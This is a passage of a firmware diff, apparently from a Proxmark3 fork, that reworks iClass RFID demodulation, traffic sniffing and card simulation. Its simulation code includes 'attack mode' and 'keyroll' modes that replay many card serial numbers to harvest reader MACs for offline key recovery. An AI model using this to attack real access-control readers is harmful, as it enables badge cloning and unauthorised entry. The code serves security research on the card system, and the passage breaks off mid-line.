uart_debug(error, bit); + return false; + } } error = 0; + } + return false; + } + // state is DEMOD is in SYNC from here on. + + modulation = bit & Demod.syncBit; + modulation |= ((bit << 1) ^ ((Demod.buffer & 0x08) >> 3)) & Demod.syncBit; + Demod.samples += 4; + + if (Demod.posCount == 0) { + Demod.posCount = 1; + Demod.sub = (modulation) ? SUB_FIRST_HALF : SUB_NONE; + return false; + } + + Demod.posCount = 0; + + if (modulation) { + + if (Demod.sub == SUB_FIRST_HALF) + Demod.sub = SUB_BOTH; + else + Demod.sub = SUB_SECOND_HALF; + } + + if (Demod.sub == SUB_NONE) { + if (Demod.state == DEMOD_SOF_COMPLETE) { + Demod.output[Demod.len] = 0x0f; + Demod.len++; + Demod.state = DEMOD_UNSYNCD; + return true; + } else { + Demod.state = DEMOD_ERROR_WAIT; + error = 0x33; } } - else { - modulation = bit & Demod.syncBit; - modulation |= ((bit << 1) ^ ((Demod.buffer & 0x08) >> 3)) & Demod.syncBit; - //modulation = ((bit << 1) ^ ((Demod.buffer & 0x08) >> 3)) & Demod.syncBit; - Demod.samples += 4; + switch (Demod.state) { + + case DEMOD_START_OF_COMMUNICATION: + if (Demod.sub == SUB_BOTH) { - if(Demod.posCount==0) { - Demod.posCount = 1; - if(modulation) { - Demod.sub = SUB_FIRST_HALF; - } - else { + Demod.state = DEMOD_START_OF_COMMUNICATION2; + Demod.posCount = 1; Demod.sub = SUB_NONE; + } else { + Demod.output[Demod.len] = 0xab; + Demod.state = DEMOD_ERROR_WAIT; + error = 0xd2; } - } - else { - Demod.posCount = 0; - /*(modulation && (Demod.sub == SUB_FIRST_HALF)) { - if(Demod.state!=DEMOD_ERROR_WAIT) { - Demod.state = DEMOD_ERROR_WAIT; - Demod.output[Demod.len] = 0xaa; - error = 0x01; - } - }*/ - //else if(modulation) { - if(modulation) { - if(Demod.sub == SUB_FIRST_HALF) { - Demod.sub = SUB_BOTH; - } - else { - Demod.sub = SUB_SECOND_HALF; - } + break; + + case DEMOD_START_OF_COMMUNICATION2: + if (Demod.sub == SUB_SECOND_HALF) { + Demod.state = DEMOD_START_OF_COMMUNICATION3; + } else { + Demod.output[Demod.len] = 0xab; + Demod.state = DEMOD_ERROR_WAIT; + error = 0xd3; } - else if(Demod.sub == SUB_NONE) { - if(Demod.state == DEMOD_SOF_COMPLETE) { - Demod.output[Demod.len] = 0x0f; - Demod.len++; - Demod.parityBits <<= 1; - Demod.parityBits ^= OddByteParity[0x0f]; - Demod.state = DEMOD_UNSYNCD; -// error = 0x0f; - return TRUE; - } - else { - Demod.state = DEMOD_ERROR_WAIT; - error = 0x33; - } - /*if(Demod.state!=DEMOD_ERROR_WAIT) { - Demod.state = DEMOD_ERROR_WAIT; - Demod.output[Demod.len] = 0xaa; - error = 0x01; - }*/ + break; + + case DEMOD_START_OF_COMMUNICATION3: + if (Demod.sub == SUB_SECOND_HALF) { + Demod.state = DEMOD_SOF_COMPLETE; + } else { + Demod.output[Demod.len] = 0xab; + Demod.state = DEMOD_ERROR_WAIT; + error = 0xd4; } - - switch(Demod.state) { - case DEMOD_START_OF_COMMUNICATION: - if(Demod.sub == SUB_BOTH) { - //Demod.state = DEMOD_MANCHESTER_D; - Demod.state = DEMOD_START_OF_COMMUNICATION2; - Demod.posCount = 1; - Demod.sub = SUB_NONE; - } - else { - Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; - error = 0xd2; - } - break; - case DEMOD_START_OF_COMMUNICATION2: - if(Demod.sub == SUB_SECOND_HALF) { - Demod.state = DEMOD_START_OF_COMMUNICATION3; - } - else { - Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; - error = 0xd3; - } - break; - case DEMOD_START_OF_COMMUNICATION3: - if(Demod.sub == SUB_SECOND_HALF) { -// Demod.state = DEMOD_MANCHESTER_D; - Demod.state = DEMOD_SOF_COMPLETE; - //Demod.output[Demod.len] = Demod.syncBit & 0xFF; - //Demod.len++; - } - else { - Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; - error = 0xd4; - } - break; - case DEMOD_SOF_COMPLETE: - case DEMOD_MANCHESTER_D: - case DEMOD_MANCHESTER_E: - // OPPOSITE FROM ISO14443 - 11110000 = 0 (1 in 14443) - // 00001111 = 1 (0 in 14443) - if(Demod.sub == SUB_SECOND_HALF) { // SUB_FIRST_HALF - Demod.bitCount++; - Demod.shiftReg = (Demod.shiftReg >> 1) ^ 0x100; - Demod.state = DEMOD_MANCHESTER_D; - } - else if(Demod.sub == SUB_FIRST_HALF) { // SUB_SECOND_HALF - Demod.bitCount++; - Demod.shiftReg >>= 1; - Demod.state = DEMOD_MANCHESTER_E; - } - else if(Demod.sub == SUB_BOTH) { - Demod.state = DEMOD_MANCHESTER_F; - } - else { - Demod.state = DEMOD_ERROR_WAIT; - error = 0x55; - } - break; - - case DEMOD_MANCHESTER_F: - // Tag response does not need to be a complete byte! - if(Demod.len > 0 || Demod.bitCount > 0) { - if(Demod.bitCount > 1) { // was > 0, do not interpret last closing bit, is part of EOF - Demod.shiftReg >>= (9 - Demod.bitCount); - Demod.output[Demod.len] = Demod.shiftReg & 0xff; - Demod.len++; - // No parity bit, so just shift a 0 - Demod.parityBits <<= 1; - } - - Demod.state = DEMOD_UNSYNCD; - return TRUE; - } - else { - Demod.output[Demod.len] = 0xad; - Demod.state = DEMOD_ERROR_WAIT; - error = 0x03; - } - break; - - case DEMOD_ERROR_WAIT: - Demod.state = DEMOD_UNSYNCD; - break; - - default: - Demod.output[Demod.len] = 0xdd; - Demod.state = DEMOD_UNSYNCD; - break; - } - - /*if(Demod.bitCount>=9) { - Demod.output[Demod.len] = Demod.shiftReg & 0xff; - Demod.len++; - - Demod.parityBits <<= 1; - Demod.parityBits ^= ((Demod.shiftReg >> 8) & 0x01); - - Demod.bitCount = 0; - Demod.shiftReg = 0; - }*/ - if(Demod.bitCount>=8) { + break; + + case DEMOD_SOF_COMPLETE: + case DEMOD_MANCHESTER_D: + case DEMOD_MANCHESTER_E: + // OPPOSITE FROM ISO14443 - 11110000 = 0 (1 in 14443) + // 00001111 = 1 (0 in 14443) + if (Demod.sub == SUB_SECOND_HALF) { // SUB_FIRST_HALF + Demod.bitCount++; + Demod.shiftReg = (Demod.shiftReg >> 1) ^ 0x100; + Demod.state = DEMOD_MANCHESTER_D; + } else if (Demod.sub == SUB_FIRST_HALF) { // SUB_SECOND_HALF + Demod.bitCount++; Demod.shiftReg >>= 1; - Demod.output[Demod.len] = (Demod.shiftReg & 0xff); - Demod.len++; - - // FOR ISO15639 PARITY NOT SEND OTA, JUST CALCULATE IT FOR THE CLIENT - Demod.parityBits <<= 1; - Demod.parityBits ^= OddByteParity[(Demod.shiftReg & 0xff)]; - - Demod.bitCount = 0; - Demod.shiftReg = 0; + Demod.state = DEMOD_MANCHESTER_E; + } else if (Demod.sub == SUB_BOTH) { + Demod.state = DEMOD_MANCHESTER_F; + } else { + Demod.state = DEMOD_ERROR_WAIT; + error = 0x55; } + break; - if(error) { - Demod.output[Demod.len] = 0xBB; - Demod.len++; - Demod.output[Demod.len] = error & 0xFF; - Demod.len++; - Demod.output[Demod.len] = 0xBB; - Demod.len++; - Demod.output[Demod.len] = bit & 0xFF; - Demod.len++; - Demod.output[Demod.len] = Demod.buffer & 0xFF; - Demod.len++; - // Look harder ;-) - Demod.output[Demod.len] = Demod.buffer2 & 0xFF; - Demod.len++; - Demod.output[Demod.len] = Demod.syncBit & 0xFF; - Demod.len++; - Demod.output[Demod.len] = 0xBB; - Demod.len++; - return TRUE; + case DEMOD_MANCHESTER_F: + // Tag response does not need to be a complete byte! + if (Demod.len > 0 || Demod.bitCount > 0) { + if (Demod.bitCount > 1) { // was > 0, do not interpret last closing bit, is part of EOF + Demod.shiftReg >>= (9 - Demod.bitCount); // right align data + Demod.output[Demod.len] = Demod.shiftReg & 0xff; + Demod.len++; + } + + Demod.state = DEMOD_UNSYNCD; + return true; + } else { + Demod.output[Demod.len] = 0xad; + Demod.state = DEMOD_ERROR_WAIT; + error = 0x03; } + break; - } + case DEMOD_ERROR_WAIT: + Demod.state = DEMOD_UNSYNCD; + break; - } // end (state != UNSYNCED) + default: + Demod.output[Demod.len] = 0xdd; + Demod.state = DEMOD_UNSYNCD; + break; + } - return FALSE; + if (Demod.bitCount >= 8) { + Demod.shiftReg >>= 1; + Demod.output[Demod.len] = (Demod.shiftReg & 0xff); + Demod.len++; + Demod.bitCount = 0; + Demod.shiftReg = 0; + } + + if (error) { + uart_debug(error, bit); + return true; + } + + return false; } //============================================================================= // Finally, a `sniffer' for iClass communication // Both sides of communication! //============================================================================= +static void iclass_setup_sniff(void){ + if (MF_DBGLEVEL > 3) Dbprintf("iclass_setup_sniff Enter"); + + LEDsoff(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Set up the synchronous serial port + FpgaSetupSsc(); + + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + // Initialize Demod and Uart structs + DemodInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); + + uart_init(BigBuf_malloc(ICLASS_BUFFER_SIZE)); + //UartInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); + + if (MF_DBGLEVEL > 1) { + // Print debug information about the buffer sizes + Dbprintf("[+] Sniffing buffers initialized:"); + Dbprintf(" Trace: %i bytes", BigBuf_max_traceLen()); + Dbprintf(" Reader -> tag: %i bytes", ICLASS_BUFFER_SIZE); + Dbprintf(" tag -> Reader: %i bytes", ICLASS_BUFFER_SIZE); + Dbprintf(" DMA: %i bytes", ICLASS_DMA_BUFFER_SIZE); + } + + // Set FPGA in the appropriate mode + // put the FPGA in the appropriate mode + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); + SpinDelay(200); + + // Start the SSP timer + StartCountSspClk(); + + LED_A_ON(); + if (MF_DBGLEVEL > 3) Dbprintf("[+] iclass_setup_sniff Exit"); +} //----------------------------------------------------------------------------- // Record the sequence of commands sent by the reader to the tag, with // triggering so that we start recording at the point that the tag is moved // near the reader. //----------------------------------------------------------------------------- -void RAMFUNC SnoopIClass(void) -{ - - - // We won't start recording the frames that we acquire until we trigger; - // a good trigger condition to get started is probably when we see a - // response from the tag. - //int triggered = FALSE; // FALSE to wait first for card - - // The command (reader -> tag) that we're receiving. - // The length of a received command will in most cases be no more than 18 bytes. - // So 32 should be enough! - uint8_t *readerToTagCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); - // The response (tag -> reader) that we're receiving. - uint8_t *tagToReaderResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - - // reset traceLen to 0 - iso14a_set_tracing(TRUE); - iso14a_clear_trace(); - iso14a_set_trigger(FALSE); +// turn off afterwards +void RAMFUNC SniffIClass(void) { + //int datalen = 0; + uint32_t previous_data = 0; + uint32_t time_0 = 0, time_start = 0, time_stop = 0; + uint32_t sniffCounter = 0; + bool TagIsActive = false; + bool ReaderIsActive = false; + + iclass_setup_sniff(); + // The DMA buffer, used to stream samples from the FPGA - int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET; - int lastRxCounter; - int8_t *upTo; - int smpl; - int maxBehindBy = 0; + // *dmaBuf is the start reference. + uint8_t *dmaBuf = BigBuf_malloc(ICLASS_DMA_BUFFER_SIZE); + // pointer to samples from fpga + uint8_t *data = dmaBuf; - // Count of samples received so far, so that we can include timing - // information in the trace buffer. - int samples = 0; - rsamples = 0; + // Setup and start DMA. + if ( !FpgaSetupSscDma(dmaBuf, ICLASS_DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) DbpString("[-] FpgaSetupSscDma failed. Exiting"); + return; + } - // Set up the demodulator for tag -> reader responses. - Demod.output = tagToReaderResponse; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; + // time ZERO, the point from which it all is calculated. + time_0 = GetCountSspClk(); - // Setup for the DMA. - FpgaSetupSsc(); - upTo = dmaBuf; - lastRxCounter = DMA_BUFFER_SIZE; - FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); - - // And the reader -> tag commands - memset(&Uart, 0, sizeof(Uart)); - Uart.output = readerToTagCmd; - Uart.byteCntMax = 32; // was 100 (greg)//////////////////////////////////////////////////////////////////////// - Uart.state = STATE_UNSYNCD; - - // And put the FPGA in the appropriate mode - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - uint32_t time_0 = GetCountSspClk(); - - - int div = 0; - //int div2 = 0; - int decbyte = 0; - int decbyter = 0; - - // And now we loop, receiving samples. - for(;;) { - LED_A_ON(); + int div = 0; + uint8_t tag_byte = 0, foo = 0; + // loop and listen + // every sample (1byte in data), + // contains HIGH nibble = reader data + // contains LOW nibble = tag data + // so two bytes are needed in order to get 1byte of either reader or tag data. (ie 2 sample bytes) + // since reader data is manchester encoded, we need 2bytes of data in order to get one demoded byte. (ie: 4 sample bytes) + while (!BUTTON_PRESS()) { WDT_HIT(); - int behindBy = (lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR) & - (DMA_BUFFER_SIZE-1); - if(behindBy > maxBehindBy) { - maxBehindBy = behindBy; - if(behindBy > 400) { - Dbprintf("blew circular buffer! behindBy=0x%x", behindBy); - goto done; - } - } - if(behindBy < 1) continue; - LED_A_OFF(); - smpl = upTo[0]; - upTo++; - lastRxCounter -= 1; - if(upTo - dmaBuf > DMA_BUFFER_SIZE) { - upTo -= DMA_BUFFER_SIZE; - lastRxCounter += DMA_BUFFER_SIZE; - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; - AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; - } + previous_data <<= 8; + previous_data |= *data; + + sniffCounter++; + data++; - //samples += 4; - samples += 1; - - if(smpl & 0xF) { - decbyte ^= (1 << (3 - div)); - } - - // FOR READER SIDE COMMUMICATION... - - decbyter <<= 2; - decbyter ^= (smpl & 0x30); - - div++; - - if((div + 1) % 2 == 0) { - smpl = decbyter; - if(OutOfNDecoding((smpl & 0xF0) >> 4)) { - rsamples = samples - Uart.samples; - LED_C_ON(); - - //if(!LogTrace(Uart.output,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break; - //if(!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break; - if(tracing) - { - LogTrace(Uart.output,Uart.byteCnt, (GetCountSspClk()-time_0) << 4, Uart.parityBits,TRUE); - LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, TRUE); - } - - - /* And ready to receive another command. */ - Uart.state = STATE_UNSYNCD; - /* And also reset the demod code, which might have been */ - /* false-triggered by the commands from the reader. */ - Demod.state = DEMOD_UNSYNCD; - LED_B_OFF(); - Uart.byteCnt = 0; - } - decbyter = 0; - } - - if(div > 3) { - smpl = decbyte; - if(ManchesterDecoding(smpl & 0x0F)) { - rsamples = samples - Demod.samples; - LED_B_ON(); - - if(tracing) - { - LogTrace(Demod.output,Demod.len, (GetCountSspClk()-time_0) << 4 , Demod.parityBits,FALSE); - LogTrace(NULL, 0, (GetCountSspClk()-time_0) << 4, 0, FALSE); - } - - - // And ready to receive another response. - memset(&Demod, 0, sizeof(Demod)); - Demod.output = tagToReaderResponse; - Demod.state = DEMOD_UNSYNCD; - LED_C_OFF(); + if (data == dmaBuf + ICLASS_DMA_BUFFER_SIZE) { + data = dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNCR = ICLASS_DMA_BUFFER_SIZE; } - div = 0; - decbyte = 0x00; - } - //} + if ( *data & 0xF) { + //tag_byte <<= 1; + tag_byte ^= (1 << 4); + foo ^= (1 << (3 - div)); + Dbprintf(" %d|%x == %d|%x", tag_byte, tag_byte, foo, foo); + } + div++; + + // every odd sample + if (sniffCounter & 0x01) { + // no need to try decoding reader data if the tag is sending + // READER TO CARD + if (!TagIsActive) { + LED_C_INV(); + // HIGH nibble is always reader data. + uint8_t reader_byte = (previous_data & 0xF0) | (*data >> 4); + uart_samples(reader_byte); + if (Uart.frame_done) { + time_stop = GetCountSspClk() - time_0; + LogTrace( Uart.buf, Uart.len, time_start, time_stop, NULL, true); + DemodReset(); + uart_reset(); + } else { + time_start = GetCountSspClk() - time_0; + } + ReaderIsActive = Uart.frame_done; + } + } + // every four sample + if ( (sniffCounter % 4) == 0) { + // need two samples to feed Manchester + // no need to try decoding tag data if the reader is sending - and we cannot afford the time + // CARD TO READER + if (!ReaderIsActive) { + LED_C_INV(); + // LOW nibble is always tag data. + /* + + + uint32_t tag_byte = + ((previous_data & 0x0F000000) >> 8 ) | + ((previous_data & 0x000F0000) >> 4 ) | + ((previous_data & 0x00000F00) ) | + ((previous_data & 0x0000000F) << 4 ) | + (*data & 0xF); + */ + + + //uint8_t tag_byte = ((previous_data & 0xF) << 4 ) | (*data & 0xF); + if (ManchesterDecoding_iclass(foo)) { + time_stop = GetCountSspClk() - time_0; + LogTrace(Demod.output, Demod.len, time_start, time_stop, NULL, false); + DemodReset(); + uart_reset(); + } else { + time_start = GetCountSspClk() - time_0; + } + TagIsActive = (Demod.state != DEMOD_UNSYNCD); + } + tag_byte = 0; + foo = 0; + div = 0; + } + } // end main loop - if(BUTTON_PRESS()) { - DbpString("cancelled_a"); - goto done; - } - } - - DbpString("COMMAND FINISHED"); - - Dbprintf("%x %x %x", maxBehindBy, Uart.state, Uart.byteCnt); - Dbprintf("%x %x %x", Uart.byteCntMax, traceLen, (int)Uart.output[0]); - -done: - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; - Dbprintf("%x %x %x", maxBehindBy, Uart.state, Uart.byteCnt); - Dbprintf("%x %x %x", Uart.byteCntMax, traceLen, (int)Uart.output[0]); - LED_A_OFF(); - LED_B_OFF(); - LED_C_OFF(); - LED_D_OFF(); + if (MF_DBGLEVEL >= 1) { + DbpString("[+] Sniff statistics:"); + Dbhexdump(ICLASS_DMA_BUFFER_SIZE, data, false); + } + + switch_off(); } void rotateCSN(uint8_t* originalCSN, uint8_t* rotatedCSN) { int i; - for(i = 0; i < 8; i++) { + for(i = 0; i < 8; i++) rotatedCSN[i] = (originalCSN[i] >> 3) | (originalCSN[(i+1)%8] << 5); - } } //----------------------------------------------------------------------------- +// SIMULATION // Wait for commands from reader // Stop when button is pressed // Or return TRUE when command is captured //----------------------------------------------------------------------------- -static int GetIClassCommandFromReader(uint8_t *received, int *len, int maxLen) -{ +static bool GetIClassCommandFromReader(uint8_t *received, int *len, int maxLen) { // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen // only, since we are receiving, not transmitting). // Signal field is off with the appropriate LED LED_D_OFF(); + uart_init(received); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); + // clear RXRDY: + uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - // Now run a `software UART' on the stream of incoming samples. - Uart.output = received; - Uart.byteCntMax = maxLen; - Uart.state = STATE_UNSYNCD; - - for(;;) { + while (!BUTTON_PRESS()) { WDT_HIT(); - if(BUTTON_PRESS()) return FALSE; - - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) AT91C_BASE_SSC->SSC_THR = 0x00; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - /*if(OutOfNDecoding((b & 0xf0) >> 4)) { - *len = Uart.byteCnt; - return TRUE; - }*/ - if(OutOfNDecoding(b & 0x0f)) { - *len = Uart.byteCnt; - return TRUE; + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + + uart_samples(b); + if (Uart.frame_done) { + *len = Uart.len; + return true; } } } + return false; } +static uint8_t encode4Bits(const uint8_t b) { + // OTA, the least significant bits first + // Manchester encoding added + // The columns are + // 1 - Bit value to send + // 2 - Reversed (big-endian) + // 3 - Machester Encoded + // 4 - Hex values + + uint8_t c = b & 0xF; + switch (c) { + // 1 2 3 4 + case 15: return 0x55; // 1111 -> 1111 -> 01010101 -> 0x55 + case 14: return 0x95; // 1110 -> 0111 -> 10010101 -> 0x95 + case 13: return 0x65; // 1101 -> 1011 -> 01100101 -> 0x65 + case 12: return 0xa5; // 1100 -> 0011 -> 10100101 -> 0xa5 + case 11: return 0x59; // 1011 -> 1101 -> 01011001 -> 0x59 + case 10: return 0x99; // 1010 -> 0101 -> 10011001 -> 0x99 + case 9: return 0x69; // 1001 -> 1001 -> 01101001 -> 0x69 + case 8: return 0xa9; // 1000 -> 0001 -> 10101001 -> 0xa9 + case 7: return 0x56; // 0111 -> 1110 -> 01010110 -> 0x56 + case 6: return 0x96; // 0110 -> 0110 -> 10010110 -> 0x96 + case 5: return 0x66; // 0101 -> 1010 -> 01100110 -> 0x66 + case 4: return 0xa6; // 0100 -> 0010 -> 10100110 -> 0xa6 + case 3: return 0x5a; // 0011 -> 1100 -> 01011010 -> 0x5a + case 2: return 0x9a; // 0010 -> 0100 -> 10011010 -> 0x9a + case 1: return 0x6a; // 0001 -> 1000 -> 01101010 -> 0x6a + default: return 0xaa; // 0000 -> 0000 -> 10101010 -> 0xaa + } +} //----------------------------------------------------------------------------- // Prepare tag messages //----------------------------------------------------------------------------- -static void CodeIClassTagAnswer(const uint8_t *cmd, int len) -{ - //So far a dummy implementation, not used - //int lastProxToAirDuration =0; - int i; - +static void CodeIClassTagAnswer(const uint8_t *cmd, int len) { + /* + * SOF comprises 3 parts; + * * An unmodulated time of 56.64 us + * * 24 pulses of 423.75 KHz (fc/32) + * * A logic 1, which starts with an unmodulated time of 18.88us + * followed by 8 pulses of 423.75kHz (fc/32) + * + * + * EOF comprises 3 parts: + * - A logic 0 (which starts with 8 pulses of fc/32 followed by an unmodulated + * time of 18.88us. + * - 24 pulses of fc/32 + * - An unmodulated time of 56.64 us + * + * + * A logic 0 starts with 8 pulses of fc/32 + * followed by an unmodulated time of 256/fc (~18,88us). + * + * A logic 0 starts with unmodulated time of 256/fc (~18,88us) followed by + * 8 pulses of fc/32 (also 18.88us) + * + * The mode FPGA_HF_SIMULATOR_MODULATE_424K_8BIT which we use to simulate tag, + * works like this. + * - A 1-bit input to the FPGA becomes 8 pulses on 423.5kHz (fc/32) (18.88us). + * - A 0-bit input to the FPGA becomes an unmodulated time of 18.88us + * + * In this mode + * SOF can be written as 00011101 = 0x1D + * EOF can be written as 10111000 = 0xb8 + * logic 1 be written as 01 = 0x1 + * logic 0 be written as 10 = 0x2 + * + * */ ToSendReset(); // Send SOF - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff;//Proxtoair duration starts here - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; - + ToSend[++ToSendMax] = 0x1D; + + int i; for(i = 0; i < len; i++) { - int j; uint8_t b = cmd[i]; - - // Data bits - for(j = 0; j < 8; j++) { - if(b & 1) { - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; - } else { - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0x00; - } - b >>= 1; - } + ToSend[++ToSendMax] = encode4Bits(b & 0xF); // least significant half + ToSend[++ToSendMax] = encode4Bits((b >> 4) & 0xF); // most significant half } // Send EOF - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - + ToSend[++ToSendMax] = 0xB8; //lastProxToAirDuration = 8*ToSendMax - 3*8 - 3*8;//Not counting zeroes in the beginning or end - // Convert from last byte pos to length ToSendMax++; } // Only SOF -static void CodeIClassTagSOF() -{ +static void CodeIClassTagSOF() { //So far a dummy implementation, not used //int lastProxToAirDuration =0; ToSendReset(); // Send SOF - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0xff; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xff; + ToSend[++ToSendMax] = 0x1D; + // lastProxToAirDuration = 8*ToSendMax - 3*8;//Not counting zeroes in the beginning -// lastProxToAirDuration = 8*ToSendMax - 3*8;//Not counting zeroes in the beginning - - // Convert from last byte pos to length ToSendMax++; } -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf); + /** * @brief SimulateIClass simulates an iClass card. * @param arg0 type of simulation @@ -969,79 +1119,162 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader * @param arg2 * @param datain */ -void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) -{ +// turn off afterwards +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + + if (MF_DBGLEVEL > 3) Dbprintf("[+] iClass_simulate Enter"); + + LEDsoff(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // this will clear out bigbuf memory, the eload command must select this before! + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + FpgaSetupSsc(); + + // Enable and clear the trace + clear_trace(); + set_tracing(true); + uint32_t simType = arg0; uint32_t numberOfCSNS = arg1; - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Enable and clear the trace - iso14a_set_tracing(TRUE); - iso14a_clear_trace(); - - uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; - if(simType == 0) { + //Use the emulator memory for SIM + uint8_t *emulator = BigBuf_get_EM_addr(); + uint8_t mac_responses[USB_CMD_DATA_SIZE] = { 0 }; + + if (simType == 0) { // Use the CSN from commandline - memcpy(csn_crc, datain, 8); - doIClassSimulation(csn_crc,0,NULL); - }else if(simType == 1) - { - doIClassSimulation(csn_crc,0,NULL); - } - else if(simType == 2) - { + memcpy(emulator, datain, 8); + doIClassSimulation(MODE_SIM_CSN, NULL); + } else if (simType == 1) { + //Default CSN + uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; + // Use the CSN from commandline + memcpy(emulator, csn_crc, 8); + doIClassSimulation(MODE_SIM_CSN, NULL); + } else if (simType == 2) { - uint8_t mac_responses[64] = { 0 }; - Dbprintf("Going into attack mode"); + Dbprintf("[+] going into attack mode, %d CSNS sent", numberOfCSNS); // In this mode, a number of csns are within datain. We'll simulate each one, one at a time // in order to collect MAC's from the reader. This can later be used in an offlne-attack // in order to obtain the keys, as in the "dismantling iclass"-paper. + #define EPURSE_MAC_SIZE 16 int i = 0; - for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) - { + for (; i < numberOfCSNS && i * EPURSE_MAC_SIZE + 8 < USB_CMD_DATA_SIZE; i++) { // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. - memcpy(csn_crc, datain+(i*8), 8); - if(doIClassSimulation(csn_crc,1,mac_responses)) - { - return; // Button pressed + memcpy(emulator, datain + (i*8), 8); + + if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses+i * EPURSE_MAC_SIZE)) { + // Button pressed + cmd_send(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i, 0, mac_responses, i * EPURSE_MAC_SIZE); + goto out; } } - cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8); + cmd_send(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i, 0, mac_responses, i * EPURSE_MAC_SIZE); - } - else{ + } else if (simType == 3){ + //This is 'full sim' mode, where we use the emulator storage for data. + //ie: BigBuf_get_EM_addr should be previously filled with data from the "eload" command + doIClassSimulation(MODE_FULLSIM, NULL); + } else if (simType == 4){ + + // This is the KEYROLL version of sim 2. + // the collected data (mac_response) is doubled out since we are trying to collect both keys in the keyroll process. + // Keyroll iceman 9 csns * 8 * 2 = 144 + // keyroll CARL55 15csns * 8 * 2 = 15 * 8 * 2 = 240 + Dbprintf("[+] going into attack keyroll mode, %d CSNS sent", numberOfCSNS); + // In this mode, a number of csns are within datain. We'll simulate each one, one at a time + // in order to collect MAC's from the reader. This can later be used in an offlne-attack + // in order to obtain the keys, as in the "dismantling iclass"-paper. + + // keyroll mode, reader swaps between old key and new key alternatively when fail a authentication. + // attack below is same as SIM 2, but we run the CSN twice to collected the mac for both keys. + int i = 0; + // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. iceman fork uses 9 CSNS + for (; i < numberOfCSNS && i * 